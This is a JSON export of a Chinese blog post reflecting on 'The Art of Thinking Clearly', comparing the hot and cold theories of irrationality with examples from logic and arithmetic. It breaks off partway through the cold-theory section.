{"id":264,"date":"2016-09-11T07:56:39","date_gmt":"2016-09-11T07:56:39","guid":{"rendered":"http:\/\/datinker.com\/?p=264"},"modified":"2019-11-19T11:42:53","modified_gmt":"2019-11-19T11:42:53","slug":"the-hot-and-cold-theories-about-thinking-errors","status":"publish","type":"post","link":"https:\/\/datinker.com\/?p=264","title":{"rendered":"The Hot and Cold Theories about Thinking Errors"},"content":{"rendered":"<p>\u4e0d\u4e45\u524d\u5b66\u59b9\u9001\u6211\u4e00\u672c\u4e66\u2014\u2014The Art of Thinking Clearly\uff0c\u4e66\u4e2d\u4ecb\u7ecd\u4e8699\u79cd\u601d\u7ef4\u9519\u8bef(thinking errors)\uff0c\u5927\u6982\u662f\u7531\u4e8e\u6211\u7b11\u70b9\u6bd4\u8f83\u5947\u602a\u7684\u7f18\u6545\u5427\uff0c\u8bfb\u8fd9\u672c\u4e66\u65f6\u4f1a\u4e0d\u65f6\u5730\u4e50\u51fa\u6765\uff0c\u8fd8\u633a\u6709\u610f\u601d\u3002\u4e0d\u8fc7\uff0c\u628a\u73a9\u7b11\u653e\u5728\u4e00\u8fb9\uff0c\u65e2\u7136\u4e4b\u524d\u7b54\u5e94\u5b66\u59b9\u8981\u5199\u4e9b\u8bfb\u540e\u611f\uff0c\u5c31\u4e0d\u80fd\u53ea\u662f\u7b11\u7b11\u800c\u5df2\u4e86\uff1b\u6211\u5728\u8bfb\u7684\u65f6\u5019\u4e3b\u52a8\u5730\u5e26\u5165\u4e86\u51e0\u4e2a\u95ee\u9898\uff1a\u6709\u7684\u95ee\u9898\u5728\u8bfb\u4e86\u51e0\u7ae0\u4e4b\u540e\u4fbf\u5f97\u5230\u4e86\u7b54\u6848\uff0c\u6709\u7684\u95ee\u9898\u5374\u8981\u8bfb\u5b8c\u6574\u672c\u4e66\u540e\u624d\u6562\u8c08\u8bba\u4e00\u4e8c\uff0c\u5f53\u7136\u4e5f\u6709\u5230\u73b0\u5728\u4f9d\u7136\u4ee4\u6211\u56f0\u60d1\u7684\u95ee\u9898\u3002<\/p>\n<p>\u5176\u4e2d\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u95ee\u9898\u5c31\u662f\uff1a\u7a76\u7adf\u4ec0\u4e48\u662f\u601d\u7ef4\u9519\u8bef\uff1f\u4e66\u4e2d\u867d\u6ca1\u6709\u8be6\u7ec6\u7684\u8bba\u8ff0\uff0c\u4f46\u662f\u540e\u8bb0\u4e2d\u5bf9\u4e8e\u4e24\u79cd\u7406\u8bba\u7684\u4ecb\u7ecd\u5374\u5f15\u8d77\u4e86\u6211\u6781\u5927\u7684\u5174\u8da3\u3002\u4e0b\u9762\u5c31\u662f\u6211\u9488\u5bf9\u8fd9\u4e24\u79cd\u7406\u8bba\u7684\u4e00\u4e9b\u62d9\u89c1\uff0c\u53ea\u5f53\u629b\u7816\u5f15\u7389\uff0c\u5e0c\u671b\u80fd\u591f\u542c\u5230\u66f4\u591a\u4e0d\u540c\u7684\u3001\u7cbe\u5f69\u7684\u58f0\u97f3\u3002<\/p>\n<p><!--more--><\/p>\n<p>&nbsp;<\/p>\n<p><strong>\uff08\u4e00\uff09\u4ec0\u4e48\u662f\u601d\u7ef4\u9519\u8bef\uff1f\u2014\u2014\u70ed\u7406\u8bba<\/strong><strong><em>\u00a0<\/em><\/strong><\/p>\n<p><strong>\u201cTo believe we can completely control ourselves through thinking is illusory \u2013 as illusory as trying to make your hair grow by willing it to.\u201d<\/strong><\/p>\n<p>\u4f5c\u4e3a\u4e00\u672c\u7545\u9500\u4e66\uff0c\u8fd9\u672c\u4e66\u4e2d\u751f\u52a8\u7684\u5b9e\u4f8b\u548c\u7c7b\u6bd4\u8f83\u591a\uff0c\u800c\u76f8\u5bf9\u6b7b\u677f\u4e00\u4e9b\u7684\u63a8\u7406\u548c\u8bae\u8bba\u5219\u8f83\u5c11\u3002\u5bf9\u4e8e\u201c\u4ec0\u4e48\u662f\u601d\u7ef4\u9519\u8bef\u201d\u8fd9\u6837\u4e00\u4e2a\u5228\u6839\u95ee\u5e95\u7684\u54f2\u5b66\u95ee\u9898\uff0c\u4f5c\u8005\u4e5f\u53ea\u662f\u5728\u540e\u8bb0\u4e2d\u7b80\u5355\u5730\u63d0\u5230\u4e24\u79cd\u73b0\u6709\u7684\u7406\u8bba\u6765\u89e3\u91ca:<\/p>\n<p><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u201cWhat are thinking errors anyway? What is irrationality? Why do we fall into these traps? Two theories of irrationality exists: a hot and a cold... (Under the hot theory), feelings are like bubbling lava. Usually, reason can keep a lid on them, but every now and then the lava of irrationality erupts. Hence hot irrationality. There is no reason to fret about logic: it is error free; it\u2019s just that, sometimes, emotions overpower it.\u201d<\/em><\/p>\n<p>\u4e0d\u77e5\u770b\u5b8c\u8fd9\u4e00\u5c0f\u6bb5\u4f1a\u4e0d\u4f1a\u6709\u4eba\u597d\u5947\u4e3a\u4ec0\u4e48\u4e24\u79cd\u7406\u8bba\u4e00\u79cd\u662f\u201c\u70ed\u7684\u201d(hot)\uff0c\u4e00\u79cd\u662f\u201c\u51b7\u7684\u201d(cold)\uff0c\u8fd9\u4e2a\u5f85\u6211\u4eec\u7b80\u5355\u4e86\u89e3\u5b8c\u4e24\u79cd\u7406\u8bba\u540e\u518d\u6765\u731c\u6d4b\u3002\u540c\u65f6\u9700\u8981\u6ce8\u610f\u4e00\u4e0b\uff0c\u4f5c\u8005\u5c06\u201c\u4ec0\u4e48\u662f\u601d\u7ef4\u9519\u8bef\uff1f\u201d\u548c\u201c\u4ec0\u4e48\u662f\u4e0d\u7406\u667a\uff1f\u201d\u5927\u4f53\u770b\u4f5c\u540c\u4e00\u95ee\u9898\uff0c\u4e00\u5e76\u56de\u7b54\u3002\u5148\u6765\u770b\u8fd9\u6bb5\u4ecb\u7ecd\u7684\u201c\u70ed\u7406\u8bba\u201d\uff0c\u7528\u534a\u53e5\u5927\u5bb6\u90fd\u5f88\u719f\u6089\u7684\u8bdd\u6765\u6982\u62ec\u4fbf\u662f\u201c\u51b2\u52a8\u662f\u9b54\u9b3c\u201d\uff0c\u4e3a\u4e86\u5bf9\u79f0\uff0c\u6211\u4eec\u53ef\u4ee5\u518d\u52a0\u534a\u53e5\u201c\u51b7\u9759\u662f\u5929\u4f7f\u201d\u3002\u5728\u8fd9\u91cc\uff0c\u903b\u8f91\u672c\u8eab\u662f\u4e00\u79cd\u5b8c\u7f8e\u65e0\u8bef\u7684\u5b58\u5728\uff0c\u90a3\u4e9b\u7f3a\u4e4f\u903b\u8f91\u3001\u4e0d\u7406\u667a\u7684\u8868\u73b0\u662f\u56e0\u4e3a\u4e3b\u89c2\u70bd\u70ed\u7684\u60c5\u611f\u6218\u80dc\u4e86\u5ba2\u89c2\u4e25\u8c28\u7684\u903b\u8f91\u3002\u90a3\u4e48\uff0c\u4e00\u4e2a\u4eba\u4e4b\u6240\u4ee5\u4f1a\u5728\u65e5\u5e38\u7684\u9009\u62e9\u4e2d\u72af\u4e0b\u5404\u79cd\u601d\u7ef4\u9519\u8bef\u4e0d\u662f\u56e0\u4e3a\u903b\u8f91\u51fa\u73b0\u4e86\u95ee\u9898\uff0c\u800c\u662f\u56e0\u4e3a\u60c5\u611f\u8ff7\u60d1\u751a\u81f3\u6270\u4e71\u4e86\u5fc3\u667a (one\u2019s mind being blinded by his heart) \uff0c\u4ece\u800c\u4f7f\u4ed6\u65e0\u6cd5\u7406\u667a\u5730\u601d\u8003\u548c\u5224\u65ad\u3002<\/p>\n<p>\u8fd9\u79cd\u7406\u8bba\u53ef\u4ee5\u8bf4\u662f\u5e7f\u6cdb\u5730\u88ab\u63a5\u53d7\u548c\u8ba4\u53ef\uff0c\u4e00\u6765\u53ef\u80fd\u662f\u56e0\u4e3a\u5e73\u65f6\u7684\u9605\u8bfb\u548c\u7ecf\u5386\u4f7f\u6211\u4eec\u4e60\u60ef\u5c06\u7406\u667a\u548c\u60c5\u611f\u89c6\u4e3a\u4e24\u79cd\u72ec\u7acb\u7684\u6289\u62e9\u65b9\u5f0f\uff0c\u800c\u5c06\u9009\u62e9\u89c6\u4e3a\u7406\u667a\u548c\u60c5\u611f\u7684\u4e00\u573a\u5bf9\u51b3\uff1b\u4e8c\u5219\u5927\u6982\u662f\u56e0\u4e3a\u8fd9\u4e2a\u7406\u8bba\u5bcc\u6709\u4e00\u5b9a\u7684\u79ef\u6781\u8272\u5f69\uff0c\u5c06\u601d\u7ef4\u9519\u8bef\u6216\u662f\u4e0d\u7406\u667a\u770b\u6210\u662f\u4e00\u79cd\u60c5\u611f\u5bf9\u4e8e\u7406\u667a\u7684\u5f81\u670d\uff0c\u4ece\u53e6\u4e00\u4e2a\u89d2\u5ea6\u6765\u8bf4\u5c31\u662f\u53ea\u8981\u6211\u4eec\u5c1d\u8bd5\u7528\u7406\u667a\u53bb\u6218\u80dc\u60c5\u611f\uff0c\u5c31\u53ef\u4ee5\u907f\u514d\u601d\u7ef4\u9519\u8bef\uff08\u9006\u5426\u547d\u9898proof by contrapositive)\u3002\u201c\u70ed\u7406\u8bba\u201d\u65e2\u7ed9\u4e88\u4e86\u601d\u7ef4\u9519\u8bef\u4e00\u4e2a\u5408\u7406\u7684\u89e3\u91ca\uff0c\u53c8\u4e3a\u601d\u7ef4\u6b63\u786e\uff08\u5b8c\u5168\u7406\u667a\uff09\u6307\u660e\u4e86\u9053\u8def\u2014\u2014\u633a\u597d\u3002<\/p>\n<p>\u7136\u800c\uff0c\u8fd9\u4e2a\u7406\u8bba\u6709\u5b83\u81ea\u5df1\u7684\u95ee\u9898\u3002\u9996\u5148\uff0c\u201c\u70ed\u7406\u8bba\u201d\u88ab\u5e7f\u6cdb\u63a5\u53d7\u548c\u8ba4\u53ef\u7684\u8fd9\u4e24\u4e2a\u7406\u7531\u975e\u5e38\u503c\u5f97\u63a8\u6572\uff1a<\/p>\n<p>\u5176\u4e00\uff0c\u867d\u7136\u5728\u6211\u4eec\u7684\u6210\u957f\u8fc7\u7a0b\u4e2d\uff0c\u7406\u667a\u548c\u60c5\u611f\u4e00\u76f4\u88ab\u5f53\u4f5c\u4e24\u4e2a\u76f8\u5bf9\u7684\u6982\u5ff5\u704c\u8f93\u5230\u6211\u4eec\u7684\u8111\u6d77\u91cc\uff0c\u56e0\u6b64\u6211\u4eec\u4e60\u60ef\u628a\u5468\u56f4\u7684\u4eba\u5206\u4e3a\u7406\u6027\u548c\u611f\u6027\u4e24\u7c7b\uff0c\u628a\u81ea\u5df1\u5206\u4e3a\u7406\u6027\u548c\u611f\u6027\u7684\u4e24\u90e8\u5206\u3002\u53ef\u662f\uff0c\u4ed4\u7ec6\u60f3\u4e00\u4e0b\uff0c\u7406\u667a\u548c\u60c5\u611f\u771f\u7684\u80fd\u88ab\u5265\u5f00\u5417\uff1f\u4e3e\u4e2a\u8001\u5957\u7684\u4f8b\u5b50\uff0c\u660e\u5929\u8981\u8003\u8bd5\u4f60\u8fd8\u6ca1\u590d\u4e60\u5b8c\uff0c\u53ef\u662f\u4f60\u5f88\u559c\u6b22\u7684\u660e\u661f\u4eca\u665a\u8981\u5728\u4f60\u6240\u5728\u7684\u57ce\u5e02\u4e3e\u529e\u6f14\u5531\u4f1a\uff0c\u662f\u590d\u4e60\u8fd8\u662f\u53bb\u6f14\u5531\u4f1a\uff1f\u5927\u591a\u6570\u4eba\u7684\u7b54\u6848\u5e94\u8be5\u662f\u201c\u7406\u667a\u544a\u8bc9\u6211\u8981\u590d\u4e60\uff0c\u60c5\u611f\u544a\u8bc9\u6211\u8981\u53bb\u542c\u6f14\u5531\u4f1a\u3002\u201d\u4e0d\u8fc7\uff0c\u9009\u62e9\u590d\u4e60\u5c31\u771f\u7684\u662f\u5b8c\u5168\u4f9d\u9760\u7406\u667a\uff0c\u9009\u62e9\u542c\u6f14\u5531\u4f1a\u5c31\u662f\u5b8c\u5168\u4f9d\u9760\u60c5\u611f\u5417\uff1f\u5f88\u6709\u53ef\u80fd\uff0c\u4f60\u662f\u56e0\u4e3a\u559c\u6b22\u8003\u597d\u540e\u5f97\u5230\u7684\u7fa1\u6155\u548c\u8868\u626c\u624d\u9009\u62e9\u590d\u4e60\uff1b\u4e5f\u5f88\u6709\u53ef\u80fd\uff0c\u4f60\u662f\u8ba1\u7b97\u51fa\u6ca1\u590d\u4e60\u7684\u77e5\u8bc6\u88ab\u8003\u5230\u7684\u6982\u7387\u5f88\u4f4e\u624d\u9009\u62e9\u542c\u6f14\u5531\u4f1a\u3002\u5176\u5b9e\uff0c\u6211\u4eec\u5f80\u5f80\u628a\u7406\u667a\u5f53\u4f5c\u5229\u5f0a\u5206\u6790\uff0c\u628a\u60c5\u611f\u5f53\u4f5c\u5fc3\u4e4b\u6240\u5411\u2014\u2014\u53ef\u662f\u5f53\u6211\u4eec\u7ed9\u5404\u4e2a\u56e0\u7d20\u52a0\u6743\u8ba1\u7b97\u7684\u65f6\u5019\uff0c\u60c5\u611f\u5df2\u7ecf\u878d\u5165\u5176\u4e2d\uff1b\u800c\u5f53\u6211\u4eec\u8046\u542c\u5fc3\u4e4b\u6240\u5411\u65f6\uff0c\u53c8\u4f55\u5c1d\u4e0d\u53bb\u8003\u8651\u4e9b\u5916\u5728\u7684\u4e1c\u897f\u5462\uff1f\u6240\u4ee5\uff0c\u5728\u6289\u62e9\u7684\u65f6\u5019\uff0c\u7406\u667a\u548c\u60c5\u611f\u771f\u7684\u662f\u5f88\u96be\u5206\u5f00\u5462\u3002<\/p>\n<p>\u5176\u4e8c\uff0c\u201c\u70ed\u7406\u8bba\u201d\u5e76\u6ca1\u6709\u5b83\u770b\u8d77\u6765\u90a3\u4e48\u79ef\u6781\u3002\u5c31\u50cf\u7ecf\u6d4e\u5b66\u4e2d\u6d88\u8d39\u8005\u7684\u9700\u6c42\u53ea\u6709\u5728\u201c\u613f\u610f\u201d\u548c\u201c\u80fd\u591f\u201d\u4e24\u4e2a\u5fc5\u8981\u6761\u4ef6\u4e0b\u624d\u80fd\u6210\u7acb\uff0c\u82e5\u4f7f\u201c\u7406\u667a\u6218\u80dc\u60c5\u611f\u201d\u6210\u7acb\uff0c\u4e3b\u89c2\u7684\u610f\u613f\u548c\u5ba2\u89c2\u7684\u80fd\u529b\u4e5f\u7f3a\u4e00\u4e0d\u53ef\u3002\u4e14\u4e0d\u8bf4\u5728\u80fd\u529b\u4e0a\u5982\u4f55\u505a\u5230\u7528\u7406\u667a\u6218\u80dc\u60c5\u611f\uff0c\u201c\u610f\u613f\u201d\u4e8c\u5b57\u672c\u8eab\u5c31\u662f\u60c5\u611f\u7684\u52a9\u653b\uff0c\u4e0d\u662f\u5417\uff1f\u65e2\u7136\u8fd9\u4e2a\u7406\u8bba\u5047\u8bbe\u7406\u667a\u548c\u60c5\u611f\u7684\u72ec\u7acb\u6027\uff0c\u51e1\u662f\u6211\u4eec\u60f3\u8981\u7528\u7406\u667a\u6218\u80dc\u60c5\u611f\u7684\u60c5\u5883\u4e0b\uff0c\u5c31\u90fd\u5fc5\u7136\u5b58\u5728\u7740\u7406\u667a\u548c\u60c5\u611f\u4e4b\u95f4\u7684\u77db\u76fe\u2014\u2014\u8bf4\u767d\u4e86\uff0c\u4e5f\u5c31\u662fwhat I think \u548cwhat I want\u4e4b\u95f4\u7684\u51b2\u7a81\u3002\u5982\u679c\u6211\u4eec\u7684\u60c5\u611f\u4e0a\u662f\u60f3\u8981\u4e00\u4e2a\u4e1c\u897f\u6216\u662f\u4e00\u79cd\u7ed3\u679c\u7684\uff0c\u53c8\u600e\u4e48\u4f1a\u613f\u610f\u8ba9\u81ea\u5df1\u7684\u7406\u667a\u53bb\u6218\u80dc\u8fd9\u79cd\u60c5\u611f\u5462\uff1f\u524d\u6587\u5f15\u7528\u90a3\u6bb5\u82f1\u6587\u4e2d\uff0c\u628a\u60c5\u611f\u6bd4\u505a\u676f\u4e2d\u6cb8\u817e\u7684\u7194\u5ca9\uff0c\u628a\u7406\u667a\u6bd4\u505a\u676f\u4e0a\u7684\u76d6\u5b50\uff0c\u8868\u9762\u4e0a\u770b\u5b70\u80dc\u5b70\u8d1f\u662f\u7531\u7194\u5ca9\u5bf9\u676f\u5b50\u7684\u538b\u529b\u548c\u676f\u5b50\u4e0e\u76d6\u5b50\u4e4b\u95f4\u7684\u6469\u64e6\u529b\u5927\u5c0f\u6765\u51b3\u5b9a\uff0c\u53ef\u5b9e\u8d28\u4e0a\uff0c\u7194\u5ca9\uff08\u60c5\u611f\uff09\u591a\u7528\u529b\u5730\u5411\u4e0a\u9876\u3001\u76d6\u5b50\uff08\u7406\u667a\uff09\u591a\u7528\u529b\u5730\u4e0d\u79bb\u5f00\u676f\u5b50\uff0c\u4e0d\u90fd\u662f\u7531\u6211\u4eec\u8fd9\u4e2a\u4e3b\u89c2\u7684\u4eba\u6765\u51b3\u5b9a\u7684\u5417\uff1f<\/p>\n<p>\u65e2\u7136\u8981\u8bf4\u201c\u70ed\u7406\u8bba\u201d\u6709\u95ee\u9898\uff0c\u5355\u5355\u8bc1\u660e\u7406\u667a\u548c\u60c5\u611f\u4e0d\u53ef\u5206\u79bb\u8fd8\u4e0d\u591f\uff0c\u73b0\u5728\u6211\u4eec\u6765\u63a8\u6572\u4e00\u4e0b\u201c\u903b\u8f91\u672c\u8eab\u6beb\u65e0\u9519\u8bef\u201d (logic is error free)\u8fd9\u53e5\u8bdd\u3002\u903b\u8f91\u7684\u5b9a\u4e49\u8303\u56f4\u53ef\u4ee5\u5f88\u5e7f\uff0c\u4e5f\u53ef\u4ee5\u5f88\u7a84\uff0c\u7531\u4e8e\u6211\u5bf9\u903b\u8f91\u7684\u4e86\u89e3\u6709\u9650\uff0c\u8fd9\u91cc\u4ec5\u4ee5\u72ed\u4e49\u7684\u5f62\u5f0f\u903b\u8f91\u6765\u8c08\u3002\uff08\u5982\u679c\u6709\u5176\u4ed6\u7684\u89d2\u5ea6\uff0c\u6073\u8bf7\u70b9\u62e8\u4ea4\u6d41\u3002\uff09\u6211\u4e2a\u4eba\u4e60\u60ef\u628a\u903b\u8f91\u548c\u6570\u5b66\u4e2d\u7684\u51fd\u6570(function)\u8fdb\u884c\u7c7b\u6bd4\uff0c\u5f53\u7136\u4e8c\u8005\u5e76\u4e0d\u5b8c\u5168\u4e00\u6837\u3002\u903b\u8f91\u662f\u5e2e\u52a9\u6211\u4eec\u5728\u73b0\u6709\u4fe1\u606f\u57fa\u7840\u4e0a\u5f97\u51fa\u63a8\u8bba\u4ece\u800c\u4f7f\u6211\u4eec\u66f4\u597d\u5730\u89e3\u51b3\u95ee\u9898\u7684\u4e00\u4e2a\u8fc7\u7a0b\uff0c\u4e5f\u53ef\u4ee5\u7b80\u5355\u7406\u89e3\u4e3a\uff0c\u73b0\u6709\u4fe1\u606f\u662f\u81ea\u53d8\u91cfx\uff0c\u7531\u903b\u8f91\u5f97\u51fa\u7684\u63a8\u8bba\u662f\u56e0\u53d8\u91cff(x)\u3002 \u5f62\u5f0f\u903b\u8f91\u5206\u4e3a\u4e24\u7c7b\uff1a\u6f14\u7ece\u903b\u8f91(deduction)\u548c\u5f52\u7eb3\u903b\u8f91(induction)\u3002\u5176\u4e2d\uff0c\u6f14\u7ece\u903b\u8f91\u5177\u6709\u786e\u5b9a\u6027\uff0c\u5374\u4e0d\u80fd\u5e2e\u52a9\u6211\u4eec\u83b7\u53d6\u4efb\u4f55\u65b0\u7684\u77e5\u8bc6\uff0c\u6362\u800c\u8a00\u4e4b\uff0c\u63a8\u8bba\u5df2\u7ecf\u88ab\u5305\u542b\u5728\u4fe1\u606f\u4e4b\u4e2d\uff1b\u5f52\u7eb3\u903b\u8f91\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u83b7\u53d6\u65b0\u77e5\uff0c\u53ef\u662f\u5f52\u7eb3\u8fd9\u4e2a\u903b\u8f91\u672c\u8eab\u5b58\u5728\u6f0f\u6d1e\uff08\u4f11\u8c1f\u63d0\u51fa\u7684\u5f52\u7eb3\u95ee\u9898\uff09\u3002\u6f14\u7ece\u903b\u8f91\u867d\u7136\u53ef\u4ee5\u8bf4\u662f\u51c6\u786e\u65e0\u8bef\uff0c\u53ef\u662f\u5b83\u7684\u5c40\u9650\u6027\u4f7f\u5b83\u5e76\u4e0d\u80fd\u4f5c\u4e3a\u552f\u4e00\u7684\u903b\u8f91\u5f62\u5f0f\uff1b\u5f52\u7eb3\u903b\u8f91\u662f\u6211\u4eec\u7ecf\u5e38\u4f7f\u7528\u7684\u903b\u8f91\uff0c\u867d\u7136\u5f88\u5b9e\u7528\uff0c\u53ef\u53c8\u4e0d\u662f\u6beb\u65e0\u9519\u8bef\u3002\u6bd4\u5982\uff0c\u5982\u679c\u6211\u4eec\u8fc7\u53bb\u4e00\u5468\u7684\u6bcf\u5929\u90fd\u662f7\u70b9\u8d77\u5e8a\u30017\u70b9\u534a\u5230\u6821\uff0c\u6211\u660e\u5929\u8fd8\u662f7\u70b9\u8d77\u5e8a\uff0c\u8fd8\u80fd\u4fdd\u8bc17\u70b9\u534a\u5230\u6821\u5417\uff1f\u5982\u679c\u662f\u8fc7\u53bb\u4e00\u4e2a\u6708\u5462\uff1f\u8fc7\u53bb\u4e00\u5e74\u5462\uff1f\u8fc7\u53bb\u5341\u5e74\u5462\uff1f\u6211\u4eec\u53d1\u73b0\uff0c\u5f52\u7eb3\u903b\u8f91\u65e0\u8bba\u542c\u8d77\u6765\u591a\u4e48\u53ef\u9760\uff0c\u90fd\u65e0\u6cd5\u8fbe\u5230\u201c\u51c6\u786e\u65e0\u8bef\u201d\u3002\u6240\u4ee5\uff0c\u903b\u8f91\u5e76\u4e0d\u662f\u6beb\u65e0\u9519\u8bef\u7684\u3002<\/p>\n<p>\u7efc\u4e0a\u6765\u770b\uff0c\u5728\u73b0\u5b9e\u751f\u6d3b\u4e2d\uff0c\u7406\u667a\u548c\u60c5\u611f\u5f88\u96be\u5206\u79bb\uff0c\u6709\u65f6\u72af\u4e0b\u601d\u7ef4\u9519\u8bef\u4e5f\u4e0d\u80fd\u88ab\u7b80\u5355\u5730\u8ba4\u4e3a\u662f\u60c5\u611f\u5bf9\u4e8e\u7406\u667a\u7684\u5f81\u670d\u3002\u540c\u65f6\uff0c\u4f5c\u4e3a\u7406\u667a\u5206\u6790\u7684\u6839\u672c\uff0c\u903b\u8f91\u672c\u8eab\u4e5f\u4e0d\u662f\u5929\u8863\u65e0\u7f1d\u7684\uff0c\u6240\u4ee5\u201c\u70ed\u7406\u8bba\u201d\u5728\u8fd1\u4ee3\u4e5f\u662f\u9971\u53d7\u4e89\u8bae\u3002\u6e10\u6e10\u7684\uff0c\u4e5f\u5c31\u51fa\u73b0\u4e86 \u201c\u51b7\u7406\u8bba\u201d\uff1a<\/p>\n<p><em>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0\u201cThe result was a cold theory of irrationality that states: thinking is in itself not pure, but prone to error. This affects everyone. Even highly intelligent people fall into the same cognitive traps.\u201d<\/em><\/p>\n<p>\u770b\u5b8c\u8fd9\u4e00\u5c0f\u6bb5\u4e4b\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u731c\u4e00\u4e0b\u201c\u70ed\u7406\u8bba\u201d\u548c\u201c\u51b7\u7406\u8bba\u201d\u7684\u547d\u540d\u539f\u56e0\u4e86\u2014\u2014\u5927\u6982\u662f\u56e0\u4e3a\uff0c\u5bf9\u4e8e\u201c\u70ed\u7406\u8bba\u201d\u6765\u8bf4\uff0c\u601d\u7ef4\u7684\u9519\u8bef\u6e90\u4e8e\u70bd<strong>\u70ed<\/strong>\u7684\u60c5\u611f\uff1b\u5bf9\u4e8e\u201c\u51b7\u7406\u8bba\u201d\u800c\u8a00\uff0c\u601d\u7ef4\u7684\u9519\u8bef\u5219\u6e90\u4e8e<strong>\u51b7<\/strong>\u9759\u7684\u601d\u8003\u3002\u5f53\u7136\uff0c\u8fd9\u4e2a\u53ea\u662f\u968f\u4fbf\u4e00\u731c\uff0c\u4e0d\u8bba\u8fd9\u4e2a\u731c\u6d4b\u5408\u4e0d\u5408\u7406\uff0c\u5c31\u5f53\u662f\u4f11\u606f\u4e00\u4e0b\uff0c\u6211\u4eec\u4e0b\u7bc7\u518d\u8c08\u201c\u51b7\u7406\u8bba\u201d\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\uff08\u4e8c\uff09\u4ec0\u4e48\u662f\u601d\u7ef4\u9519\u8bef\uff1f\u2014\u2014\u51b7\u7406\u8bba<\/strong><\/p>\n<p><strong>\u201cA more important implication is that there is no way to regard one interpretation of reality as accurate and another interpretation as inaccurate, because all interpretations are mere \u2018social constructions\u2019.\u201d \u00a0 \u00a0 \u00a0\u00a0<\/strong><strong>\u2014\u2014<\/strong><strong>Lay Epistemics and Human Knowledge, Kruglanski<\/strong><\/p>\n<p>\u51b7\u7406\u8bba\u7684\u7b80\u4ecb\u5728\u4e0a\u4e00\u7bc7\u672b\u5c3e\u63d0\u5230\uff0c\u7528\u4e00\u53e5\u8bdd\u6765\u6982\u62ec\u662f\u201cthinking is in itself prone to error.\u201d \u7ffb\u8bd1\u8fc7\u6765\u5373\u662f\uff0c\u601d\u7ef4\u672c\u8eab\u5c31\u662f\u6613\u51fa\u9519\u7684\u3002\u4e0d\u77e5\u6709\u591a\u5c11\u4eba\u770b\u5230\u8fd9\u53e5\u8bdd\u65f6\u548c\u4e00\u5f00\u59cb\u7684\u6211\u4e00\u6837\uff0c\u81ea\u52a8\u5ffd\u7565\u201c\u6613\u201d(prone)\u8fd9\u4e2a\u5b57\uff0c\u4ee5\u4e3a\u8fd9\u6761\u7406\u8bba\u8868\u8fbe\u7684\u610f\u601d\u662f\u201c\u601d\u7ef4\u672c\u8eab\u5c31\u662f\u9519\u8bef\u7684\u201d\u3002\u53ef\u4e0d\u8981\u5c0f\u77a7\u4e86\u8fd9\u4e00\u4e2a\u5b57\uff0c\u5982\u679c\u5c11\u4e86\u5b83\uff0c\u201c\u51b7\u7406\u8bba\u201d\u5c31\u662f\u65e0\u7a3d\u4e4b\u8c08\u3002<\/p>\n<p>\u5176\u5b9e\uff0c\u601d\u7ef4\u4e5f\u597d\uff0c\u601d\u8003\u4e5f\u7f62\uff0c\u53ea\u662f\u4e00\u4e2a\u6ca1\u6709\u4efb\u4f55\u611f\u60c5\u8272\u5f69\u7684\u8fc7\u7a0b\uff0c\u5b83\u672c\u8eab\u65e2\u4e0d\u5bf9\uff0c\u4e5f\u4e0d\u9519\u3002\u201c\u601d\u7ef4\u6613\u51fa\u9519\u201d\u53ea\u4e0d\u8fc7\u662f\u8bf4\u4eba\u5728\u601d\u7ef4\u8fc7\u7a0b\u4e2d\u5bb9\u6613\u72af\u9519\u2014\u2014\u7ec8\u7a76\uff0c\u72af\u9519\u7684\u662f\u4eba\u3002\u4e0d\u8fc7\uff0c\u8fd9\u91cc\u6709\u4e00\u4e2a\u975e\u5e38\u4ee4\u4eba\u56f0\u60d1\u7684\u95ee\u9898\u2014\u2014\u6211\u4eec\u662f\u4f9d\u636e\u4ec0\u4e48\u53bb\u5224\u65ad\u4e00\u4e2a\u4eba\u5728\u601d\u7ef4\u4e2d\u662f\u5426\u72af\u4e86\u9519\u5462\uff1f\u6362\u800c\u8a00\u4e4b\uff0c\u5f53\u6211\u4eec\u8bc4\u5224\u5bf9\u4e0e\u9519\u7684\u65f6\u5019\uff0c\u6807\u51c6\u53c8\u662f\u4ec0\u4e48\u5462\uff1f<\/p>\n<p>\u4ece\u7edd\u5bf9\u4e3b\u4e49\u6765\u8bb2\uff0c\u4e16\u754c\u4e0a\u5e94\u8be5\u662f\u5b58\u5728\u7740\u5404\u79cd\u601d\u7ef4\u6b63\u786e\u7684\u6761\u6846\u89c4\u77e9\uff0c\u5982\u679c\u54ea\u6761\u89c4\u77e9\u88ab\u8fdd\u53cd\u4e86\uff0c\u90a3\u4e48\u4fbf\u662f\u72af\u4e86\u9519\u3002\u6781\u5c11\u7684\u60c5\u51b5\u4e0b\uff0c\u6bd4\u5982\u5bf9\u4e8e\u6570\u5b66\u601d\u7ef4\u548c\u6f14\u7ece\u903b\u8f91\u800c\u8a00\uff0c\u8fd9\u79cd\u6761\u6846\u89c4\u77e9\u662f\u786e\u5b9a\u7684\uff0c\u7531\u6b63\u786e\u7684\u601d\u7ef4\u5f97\u5230\u7684\u7ed3\u679c\u4e5f\u662f\u786e\u5b9a\u7684\uff0c\u4e00\u65e6\u5b9e\u9645\u63a8\u5bfc\u7684\u7ed3\u679c\u4e0d\u7b26\uff0c\u6211\u4eec\u4fbf\u77e5\u9053\u601d\u7ef4\u51fa\u73b0\u4e86\u9519\u8bef \u3002\u4e3e\u9053\u6613\u9519\u7684\u6570\u5b66\u9898\u4e3a\u4f8b\uff1a\u5df2\u77e5\u53bb\u7a0b\u7684\u5e73\u5747\u901f\u5ea6\u4e3a8\u5343\u7c73\/\u5c0f\u65f6\uff0c\u56de\u7a0b\u7684\u5e73\u5747\u901f\u5ea6\u4e3a12\u5343\u7c73\/\u5c0f\u65f6\uff0c\u6839\u636e\u6b63\u786e\u7684\u6570\u5b66\u601d\u7ef4\uff0c\u5f80\u8fd4\u7684\u5e73\u5747\u901f\u5ea6\u662f2\/(1\/8+1\/12)=9.6\u5343\u7c73\/\u5c0f\u65f6\uff1b\u56e0\u6b64\uff0c\u5018\u82e5\u4f9d\u9760\u4e0b\u610f\u8bc6\u7684\u76f4\u89c9\u800c\u8fdd\u80cc\u4e86\u57fa\u672c\u7684\u6570\u5b66\u89c4\u5f8b\uff0c\u5f97\u5230(8+12)\/2=10\u5343\u7c73\/\u5c0f\u65f6\u8fd9\u4e2a\u7b54\u6848\uff0c\u5c31\u66